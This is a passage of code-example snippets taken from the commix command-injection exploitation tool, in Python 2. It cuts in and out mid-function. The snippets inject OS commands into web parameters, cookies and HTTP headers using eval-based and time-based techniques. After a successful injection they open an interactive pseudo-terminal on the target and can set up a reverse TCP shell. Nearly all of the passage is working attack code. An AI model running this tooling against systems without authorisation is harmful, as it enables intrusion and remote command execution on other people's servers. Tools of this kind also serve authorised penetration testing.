                                            vuln_parameter)

                    # Check if defined single cmd.
                    if menu.options.os_cmd:
                        eb_enumeration.single_os_cmd_exec(
                            separator, TAG, prefix, suffix,
                            http_request_method, url, vuln_parameter)

                    # Pseudo-Terminal shell
                    go_back = False
                    while True:
                        if go_back == True:
                            break
                        gotshell = raw_input(
                            "\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > "
                        ).lower()
                        if gotshell in settings.CHOISE_YES:
                            print ""
                            print "Pseudo-Terminal (type '?' for shell options)"
                            while True:
                                try:
                                    cmd = raw_input("Shell > ")
                                    if cmd.lower() in settings.SHELL_OPTIONS:
                                        if cmd.lower() == "?":
                                            menu.shell_options()
                                        elif cmd.lower() == "quit":
                                            logs.logs_notification(filename)
                                            sys.exit(0)
                                        elif cmd.lower() == "back":
                                            go_back = True
                                            break
                                        else:
                                            pass

                                    else:
                                        # The main command injection exploitation.
                                        response = eb_injector.injection(
                                            separator, TAG, cmd, prefix,
                                            suffix, http_request_method, url,
                                            vuln_parameter)

                                        # if need page reload
                                        if menu.options.url_reload:
                                            time.sleep(delay)
                                            response = urllib.urlopen(url)

                                        # Command execution results.
                                        shell = eb_injector.injection_results(
                                            response, TAG)
                                        if shell:
                                            shell = "".join(
                                                str(p) for p in shell).replace(
                                                    " ", "", 1)[:-1]
                                            if shell != "":
                                                print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                                            else:
                                                print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"

                                except KeyboardInterrupt:
                                    raise

                        elif gotshell in settings.CHOISE_NO:
                            if menu.options.verbose:
                                sys.stdout.write(
                                    "\r(*) Continue testing the " + technique +
                                    "... ")
                                sys.stdout.flush()
                            break

                        else:
                            if gotshell == "":
                                gotshell = "enter"
                            print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                            pass

    if no_result == True:
        print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Esempio n. 19
0
def do_check(url, filename):

    check_http_headers = False

    # Check if defined "--delay" option.
    if menu.options.delay:
        delay = menu.options.delay
    else:
        delay = settings.DELAY

    # Check if authentication is needed.
    if menu.options.auth_url and menu.options.auth_data:
        # Do the authentication process.
        authentication.authentication_process()
        # Check if authentication page is the same with the next (injection) URL
        if urllib2.urlopen(url).read() == urllib2.urlopen(
                menu.options.auth_url).read():
            print Back.RED + settings.ERROR_SIGN + "It seems that the authentication procedure has failed." + Style.RESET_ALL
            sys.exit(0)
    elif menu.options.auth_url or menu.options.auth_data:
        print Back.RED + settings.ERROR_SIGN + "You must specify both login panel URL and login parameters." + Style.RESET_ALL
        sys.exit(0)
    else:
        pass

    # Check if HTTP Method is GET.
    if not menu.options.data:

        # Enable Cookie Injection
        if menu.options.cookie and menu.options.level > 1:
            settings.COOKIE_INJECTION = True

        http_request_method = "GET"

        # Check for stored injections on User-agent / Referer headers (if level > 2).
        if menu.options.level > 2:
            check_parameter = ""
            stored_http_header_injection(url, check_parameter,
                                         check_http_headers,
                                         http_request_method, filename, delay)

        # Enable Cookie Injection
        if menu.options.cookie:
            settings.COOKIE_INJECTION = True

        if not settings.COOKIE_INJECTION:
            found_url = parameters.do_GET_check(url)
            if found_url != False:
                for i in range(0, len(found_url)):
                    url = found_url[i]
                    check_parameter = parameters.vuln_GET_param(url)
                    # Check if testable parameter(s) are provided
                    if len(settings.TEST_PARAMETER) > 0:
                        if check_parameter in settings.TEST_PARAMETER:
                            # Check for session file
                            if check_for_stored_sessions(
                                    url, http_request_method):
                                injection_proccess(url, check_parameter,
                                                   http_request_method,
                                                   filename, delay)
                    else:
                        if check_for_stored_sessions(url, http_request_method):
                            injection_proccess(url, check_parameter,
                                               http_request_method, filename,
                                               delay)

                if not settings.LOAD_SESSION:
                    for i in range(0, len(found_url)):
                        url = found_url[i]
                        check_parameter = parameters.vuln_GET_param(url)
                        # Check if testable parameter(s) are provided
                        if len(settings.TEST_PARAMETER) > 0:
                            if check_parameter in settings.TEST_PARAMETER:
                                injection_proccess(url, check_parameter,
                                                   http_request_method,
                                                   filename, delay)
                        else:
                            injection_proccess(url, check_parameter,
                                               http_request_method, filename,
                                               delay)

    # Check if HTTP Method is POST.
    else:
        http_request_method = "POST"

        # Check for stored injections on User-agent / Referer headers (if level > 2).
        if menu.options.level > 2:
            check_parameter = ""
            stored_http_header_injection(url, check_parameter,
                                         check_http_headers,
                                         http_request_method, filename, delay)

        # Check if HTTP Method is POST.
        parameter = menu.options.data
        found_parameter = parameters.do_POST_check(parameter)
        # Remove whitespaces
        # Check if singe entry parameter
        if type(found_parameter) is str:
            found_parameter_list = []
            found_parameter_list.append(found_parameter)
            found_parameter = found_parameter_list

        # Remove whitespaces
        found_parameter = [x.replace(" ", "") for x in found_parameter]

        # Check if multiple parameters
        for i in range(0, len(found_parameter)):
            parameter = menu.options.data = found_parameter[i]
            check_parameter = parameters.vuln_POST_param(parameter, url)
            if len(check_parameter) > 0:
                settings.TESTABLE_PARAMETER = check_parameter
            # Check if testable parameter(s) are provided
            if len(settings.TEST_PARAMETER) > 0:
                if check_parameter in settings.TEST_PARAMETER:
                    # Check for session file
                    if check_for_stored_sessions(url, http_request_method):
                        injection_proccess(url, check_parameter,
                                           http_request_method, filename,
                                           delay)
            else:
                if check_for_stored_sessions(url, http_request_method):
                    injection_proccess(url, check_parameter,
                                       http_request_method, filename, delay)

        if not settings.LOAD_SESSION:
            for i in range(0, len(found_parameter)):
                parameter = menu.options.data = found_parameter[i]
                check_parameter = parameters.vuln_POST_param(parameter, url)
                # Check if testable parameter(s) are provided
                if len(settings.TEST_PARAMETER) > 0:
                    if check_parameter in settings.TEST_PARAMETER:
                        injection_proccess(url, check_parameter,
                                           http_request_method, filename,
                                           delay)
                else:
                    injection_proccess(url, check_parameter,
                                       http_request_method, filename, delay)

    # Enable Cookie Injection
    if menu.options.cookie and menu.options.level > 1:
        settings.COOKIE_INJECTION = True

    # Cookie Injection
    if settings.COOKIE_INJECTION == True:
        cookie_value = menu.options.cookie
        # Check for stored injections on User-agent / Referer headers (if level > 2).
        if menu.options.level > 2:
            check_parameter = ""
            stored_http_header_injection(url, check_parameter,
                                         check_http_headers,
                                         http_request_method, filename, delay)

        header_name = " Cookie"
        settings.HTTP_HEADER = header_name[1:].lower()
        cookie_parameters = parameters.do_cookie_check(menu.options.cookie)
        if type(cookie_parameters) is str:
            cookie_parameters_list = []
            cookie_parameters_list.append(cookie_parameters)
            cookie_parameters = cookie_parameters_list

        # Remove whitespaces
        cookie_parameters = [x.replace(" ", "") for x in cookie_parameters]

        for i in range(0, len(cookie_parameters)):
            menu.options.cookie = cookie_parameters[i]
            check_parameter = parameters.specify_cookie_parameter(
                menu.options.cookie)
            if len(check_parameter) > 0:
                settings.TESTABLE_PARAMETER = check_parameter
            # Check if testable parameter(s) are provided
            if len(settings.TEST_PARAMETER) > 0:
                if check_parameter in settings.TEST_PARAMETER:
                    # Check for session file
                    if check_for_stored_sessions(url, http_request_method):
                        injection_proccess(url, check_parameter,
                                           http_request_method, filename,
                                           delay)
            else:
                if check_for_stored_sessions(url, http_request_method):
                    injection_proccess(url, check_parameter,
                                       http_request_method, filename, delay)

        if not settings.LOAD_SESSION:
            for i in range(0, len(cookie_parameters)):
                menu.options.cookie = cookie_parameters[i]
                check_parameter = parameters.specify_cookie_parameter(
                    menu.options.cookie)
                if len(check_parameter) > 0:
                    settings.TESTABLE_PARAMETER = check_parameter
                # Check if testable parameter(s) are provided
                if len(settings.TEST_PARAMETER) > 0:
                    if check_parameter in settings.TEST_PARAMETER:
                        injection_proccess(url, check_parameter,
                                           http_request_method, filename,
                                           delay)
                else:
                    injection_proccess(url, check_parameter,
                                       http_request_method, filename, delay)

    if settings.COOKIE_INJECTION == True:
        # Restore cookie value
        menu.options.cookie = cookie_value
        # Disable cookie injection
        settings.COOKIE_INJECTION = False

    # Custom header Injection
    if settings.CUSTOM_HEADER_INJECTION == True:
        check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME
        settings.HTTP_HEADER = header_name[1:].lower()
        check_for_stored_sessions(url, http_request_method)
        injection_proccess(url, check_parameter, http_request_method, filename,
                           delay)

    # Check for stored injections on User-agent / Referer headers (if level > 2).
    if menu.options.level > 2:
        check_parameter = ""
        check_http_headers = True
        stored_http_header_injection(url, check_parameter, check_http_headers,
                                     http_request_method, filename, delay)

    # All injection techniques seems to be failed!
    if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False:
        info_msg = settings.CRITICAL_SIGN + "All the tested (" + http_request_method + ") parameters appear to be not injectable."
        if not menu.options.alter_shell:
            info_msg += " Try to use the option '--alter-shell'"
        else:
            info_msg += " Try to remove the option '--alter-shell'"
        if menu.options.level < 3:
            info_msg += " and/or try to increase '--level' values to perform more tests (i.e 'User-Agent', 'Referer', 'Cookie' etc)"
        info_msg += "."
        print Back.RED + info_msg + Style.RESET_ALL
    sys.exit(0)


#eof
Esempio n. 20
0
def eb_injection_handler(url, delay, filename, http_request_method):

    counter = 1
    vp_flag = True
    no_result = True
    export_injection_info = False
    injection_type = "results-based command injection"
    technique = "eval-based code injection technique"

    for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
        settings.EXECUTION_FUNCTIONS[
            item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
    settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

    url = eb_injector.warning_detection(url, http_request_method)

    if not settings.LOAD_SESSION:
        info_msg = "Testing the " + technique + "... "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(
        settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
    for whitespace in settings.WHITESPACE:
        for prefix in settings.EVAL_PREFIXES:
            for suffix in settings.EVAL_SUFFIXES:
                for separator in settings.EVAL_SEPARATORS:

                    # If a previous session is available.
                    if settings.LOAD_SESSION and session_handler.notification(
                            url, technique):
                        url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                            url, http_request_method)
                        checks.check_for_stored_tamper(payload)

                    if settings.RETEST == True:
                        settings.RETEST = False
                        from src.core.injections.results_based.techniques.classic import cb_handler
                        cb_handler.exploitation(url, delay, filename,
                                                http_request_method)

                    if not settings.LOAD_SESSION:
                        i = i + 1
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        # Change TAG on every request to prevent false-positive results.
                        TAG = ''.join(
                            random.choice(string.ascii_uppercase)
                            for i in range(6))

                        randv1 = random.randrange(100)
                        randv2 = random.randrange(100)
                        randvcalc = randv1 + randv2

                        # Define alter shell
                        alter_shell = menu.options.alter_shell

                        try:
                            if alter_shell:
                                # Classic -alter shell- decision payload (check if host is vulnerable).
                                payload = eb_payloads.decision_alter_shell(
                                    separator, TAG, randv1, randv2)
                            else:
                                # Classic decision payload (check if host is vulnerable).
                                payload = eb_payloads.decision(
                                    separator, TAG, randv1, randv2)

                            suffix = urllib.quote(suffix)
                            # Fix prefixes / suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            # Fixation for specific payload.
                            if ")%3B" + urllib.quote(")}") in payload:
                                payload = payload.replace(
                                    ")%3B" + urllib.quote(")}"),
                                    ")" + urllib.quote(")}"))
                                #payload = payload + TAG + ""

                            # Whitespace fixation
                            payload = re.sub(" ", whitespace, payload)

                            if settings.TAMPER_SCRIPTS['base64encode']:
                                from src.core.tamper import base64encode
                                payload = base64encode.encode(payload)
                            else:
                                payload = re.sub(" ", "%20", payload)

                            # Check if defined "--verbose" option.
                            if settings.VERBOSITY_LEVEL >= 1:
                                sys.stdout.write(
                                    "\n" + settings.print_payload(payload))

                            # Cookie Injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                response = eb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent Injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                response = eb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer Injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                response = eb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom http header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                response = eb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                found_cookie_injection = False
                                # Check if target host is vulnerable.
                                response, vuln_parameter = eb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Try target page reload (if it is required).
                            if settings.URL_RELOAD:
                                response = requests.url_reload(url, delay)
                            # Evaluate test results.
                            shell = eb_injector.injection_test_results(
                                response, TAG, randvcalc)

                            if not settings.VERBOSITY_LEVEL >= 1:
                                percent = ((i * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(((i * 100) / (total * 1.0)), 2))

                                if shell == False:
                                    info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]"
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                                if str(float_percent) == "100.0":
                                    if no_result == True:
                                        percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                    else:
                                        percent = str(float_percent) + "%"
                                elif len(shell) != 0:
                                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                else:
                                    percent = str(float_percent) + "%"

                                info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
                                sys.stdout.write(
                                    "\r" + settings.print_info_msg(info_msg))
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except:
                            continue

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        found = True
                        no_result = False

                        if settings.COOKIE_INJECTION == True:
                            header_name = " cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " parameter"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, the_type, header_name,
                                http_request_method, vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.LOAD_SESSION:
                            print ""

                        # Print the findings to terminal.
                        success_msg = "The"
                        if found_vuln_parameter == " ":
                            success_msg += http_request_method + ""
                        success_msg += the_type + header_name
                        success_msg += found_vuln_parameter + " seems injectable via "
                        success_msg += "(" + injection_type.split(
                            " ")[0] + ") " + technique + "."
                        print settings.print_success_msg(success_msg)
                        print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub(
                            "%20", " ", payload) + Style.RESET_ALL
                        # Export session
                        if not settings.LOAD_SESSION:
                            session_handler.injection_point_importation(
                                url,
                                technique,
                                injection_type,
                                separator,
                                shell[0],
                                vuln_parameter,
                                prefix,
                                suffix,
                                TAG,
                                alter_shell,
                                payload,
                                http_request_method,
                                url_time_response=0,
                                delay=0,
                                how_long=0,
                                output_length=0,
                                is_vulnerable=menu.options.level)
                        else:
                            whitespace = settings.WHITESPACE[0]
                            settings.LOAD_SESSION = False

                        # Check for any enumeration options.
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                question_msg = "Do you want to enumerate again? [Y/n/q] > "
                                enumerate_again = raw_input(
                                    "\n" +
                                    settings.print_question_msg(question_msg)
                                ).lower()
                                if enumerate_again in settings.CHOICE_YES:
                                    eb_enumeration.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        delay)
                                    print ""
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    break
                                elif enumerate_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    if enumerate_again == "":
                                        enumerate_again = "enter"
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass

                        else:
                            if menu.enumeration_options():
                                eb_enumeration.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, delay)

                        if not menu.file_access_options(
                        ) and not menu.options.os_cmd:
                            print ""

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            if settings.ENUMERATION_DONE != True:
                                print ""
                            while True:
                                question_msg = "Do you want to access files again? [Y/n/q] > "
                                sys.stdout.write(
                                    settings.print_question_msg(question_msg))
                                file_access_again = sys.stdin.readline(
                                ).replace("\n", "").lower()
                                if file_access_again in settings.CHOICE_YES:
                                    eb_file_access.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        delay)
                                    print ""
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    if file_access_again == "":
                                        file_access_again = "enter"
                                    err_msg = "'" + file_access_again + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass
                        else:
                            if menu.file_access_options():
                                if not menu.enumeration_options():
                                    print ""
                                eb_file_access.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, delay)
                                print ""

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            if not menu.file_access_options():
                                print ""
                            eb_enumeration.single_os_cmd_exec(
                                separator, TAG, prefix, suffix, whitespace,
                                http_request_method, url, vuln_parameter,
                                alter_shell, filename, delay)

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
                            sys.stdout.write(
                                settings.print_question_msg(question_msg))
                            gotshell = sys.stdin.readline().replace(
                                "\n", "").lower()
                            if gotshell in settings.CHOICE_YES:
                                print ""
                                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                if readline_error:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        # Tab compliter
                                        if not readline_error:
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = raw_input("""commix(""" +
                                                        Style.BRIGHT +
                                                        Fore.RED +
                                                        """os_shell""" +
                                                        Style.RESET_ALL +
                                                        """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        # if settings.VERBOSITY_LEVEL >= 1:
                                        #   print ""
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            os_shell_option = checks.check_os_shell_options(
                                                cmd.lower(), technique,
                                                go_back, no_result)
                                            if os_shell_option == False:
                                                if no_result == True:
                                                    return False
                                                else:
                                                    return True
                                            elif os_shell_option == "quit":
                                                sys.exit(0)
                                            elif os_shell_option == "back":
                                                go_back = True
                                                break
                                            elif os_shell_option == "os_shell":
                                                warn_msg = "You are already into an 'os_shell' mode."
                                                print settings.print_warning_msg(
                                                    warn_msg) + "\n"
                                            elif os_shell_option == "reverse_tcp":
                                                settings.REVERSE_TCP = True
                                                # Set up LHOST / LPORT for The reverse TCP connection.
                                                reverse_tcp.configure_reverse_tcp(
                                                )
                                                if settings.REVERSE_TCP == False:
                                                    continue
                                                while True:
                                                    if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                                                        result = checks.check_reverse_tcp_options(
                                                            settings.LHOST)
                                                    else:
                                                        cmd = reverse_tcp.reverse_tcp_options(
                                                        )
                                                        result = checks.check_reverse_tcp_options(
                                                            cmd)
                                                    if result != None:
                                                        if result == 0:
                                                            return False
                                                        elif result == 1 or result == 2:
                                                            go_back_again = True
                                                            settings.REVERSE_TCP = False
                                                            break
                                                    # Command execution results.
                                                    response = eb_injector.injection(
                                                        separator, TAG, cmd,
                                                        prefix, suffix,
                                                        whitespace,
                                                        http_request_method,
                                                        url, vuln_parameter,
                                                        alter_shell, filename)
                                                    # Evaluate injection results.
                                                    shell = eb_injector.injection_results(
                                                        response, TAG, cmd)
                                                    if settings.VERBOSITY_LEVEL >= 1:
                                                        print ""
                                                    err_msg = "The reverse TCP connection has failed!"
                                                    print settings.print_critical_msg(
                                                        err_msg)
                                            else:
                                                pass

                                        else:
                                            # The main command injection exploitation.
                                            response = eb_injector.injection(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)
                                            # Try target page reload (if it is required).
                                            if settings.URL_RELOAD:
                                                response = requests.url_reload(
                                                    url, delay)
                                            if menu.options.ignore_session or\
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # Evaluate injection results.
                                                shell = eb_injector.injection_results(
                                                    response, TAG, cmd)
                                                shell = "".join(
                                                    str(p)
                                                    for p in shell).replace(
                                                        " ", "", 1)
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, shell,
                                                        vuln_parameter)
                                            else:
                                                shell = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)

                                            #if shell:
                                            if shell != "":
                                                shell = "".join(
                                                    str(p) for p in shell)
                                                # if settings.VERBOSITY_LEVEL >= 1:
                                                #   print ""
                                                print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                                            else:
                                                err_msg = "The '" + cmd + "' command, does not return any output."
                                                print settings.print_critical_msg(
                                                    err_msg) + "\n"

                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                            elif gotshell in settings.CHOICE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOICE_QUIT:
                                sys.exit(0)

                            else:
                                if gotshell == "":
                                    gotshell = "enter"
                                err_msg = "'" + gotshell + "' is not a valid answer."
                                print settings.print_error_msg(err_msg)
                                pass

    if no_result == True:
        print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Esempio n. 21
0
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):
  
  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  fixation = False
  export_injection_info = False

  injection_type = "Blind-based Command Injection"
  technique = "time-based injection technique"

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = menu.options.maxlen
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    print Back.RED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + Style.RESET_ALL

  # Calculate all possible combinations
  total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
    
  sys.stdout.write("(*) Testing the "+ technique + "... ")
  sys.stdout.flush()

  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:
        num_of_chars = num_of_chars + 1
        
        # Check for bad combination of prefix and separator
        combination = prefix + separator
        if combination in settings.JUNK_COMBINATION:
          prefix = ""
        
        # Define alter shell
        alter_shell = menu.options.alter_shell
        
        # Change TAG on every request to prevent false-positive results.
        TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
        tag_length = len(TAG) + 4
        
        for output_length in range(1, int(tag_length)):
          try:
            
            if alter_shell:
              # Time-based decision payload (check if host is vulnerable).
              payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method)
            else:
              # Time-based decision payload (check if host is vulnerable).
              payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)

            # Fix prefixes / suffixes
            payload = parameters.prefixes(payload, prefix)
            payload = parameters.suffixes(payload, suffix)
              
            # Check if defined "--verbose" option.
            if menu.options.verbose:
              sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL)

            # Cookie Injection
            if settings.COOKIE_INJECTION == True:
              # Check if target host is vulnerable to cookie injection.
              vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
              how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)

            else:
              # Check if target host is vulnerable.
              how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)

            # Injection percentage calculation
            percent = ((num_of_chars * 100) / total)

            if percent == 100 and no_result == True:
              if not menu.options.verbose:
                percent = Fore.RED + "FAILED" + Style.RESET_ALL
              else:
                percent = ""
            else:
              if (url_time_response <= 1 and how_long >= delay) or \
              (url_time_response >= 2 and how_long > delay):

                # Time relative false positive fixation.
                if len(TAG) == output_length :
                  if fixation == True:
                    delay = delay + 1
                else:
                  fixation = True
                  continue

                randv1 = random.randrange(0, 1)
                randv2 = random.randrange(1, 2)
                randvcalc = randv1 + randv2
                cmd = "(" + str(randv1) + "+" + str(randv2) + ")"
                output = tb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell)
                
                if str(output) == str(randvcalc):
                  if not menu.options.verbose:
                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                  else:
                    percent = ""
              else:
                percent = str(percent)+"%"
                
            if not menu.options.verbose:
              sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
              sys.stdout.flush()

          except KeyboardInterrupt: 
            raise
        
          except:
            break
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if (url_time_response <= 1 and how_long >= delay) or \
          (url_time_response >= 2 and how_long > delay):

            if len(TAG) == output_length :
              found = True
              no_result = False

              if settings.COOKIE_INJECTION == True: 
                http_request_method = "cookie"
                found_vuln_parameter = vuln_parameter
              else:
                if http_request_method == "GET":
                  found_vuln_parameter = parameters.vuln_GET_param(url)
                else :
                  found_vuln_parameter = vuln_parameter

              # Print the findings to log file.
              if export_injection_info == False:
                export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
              if vp_flag == True:
                vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
              logs.upload_payload(filename, counter, payload) 
              counter = counter + 1
              
              # Print the findings to terminal.
              print Style.BRIGHT + "\n(!) The ("+ http_request_method + ") '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "' parameter is vulnerable to "+ injection_type +"."+ Style.RESET_ALL
              print "  (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
              print "  (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
              print "  (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", urllib.unquote_plus(payload.replace("\n", "\\n"))) + Style.RESET_ALL

              # Check for any enumeration options.
              tb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell)

              # Check for any system file access options.
              tb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell)
              
              # Pseudo-Terminal shell
              while True:
                gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
                if gotshell in settings.CHOISE_YES:
                  print ""
                  print "Pseudo-Terminal (type 'q' or use <Ctrl-C> to quit)"
                  while True:
                    try:
                      cmd = raw_input("Shell > ")
                      if cmd == "q":
                        logs.logs_notification(filename)
                        sys.exit(0)
                        
                      else:
                        # The main command injection exploitation.
                        check_how_long, output  = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell)

                      if menu.options.verbose:
                        print ""
                      if output != "" and check_how_long != 0 :
                        print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
                        print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n"
                      else:
                        print ""
                        
                    except KeyboardInterrupt: 
                      raise
                  
                elif gotshell in settings.CHOISE_NO:
                  break
                  if menu.options.verbose:
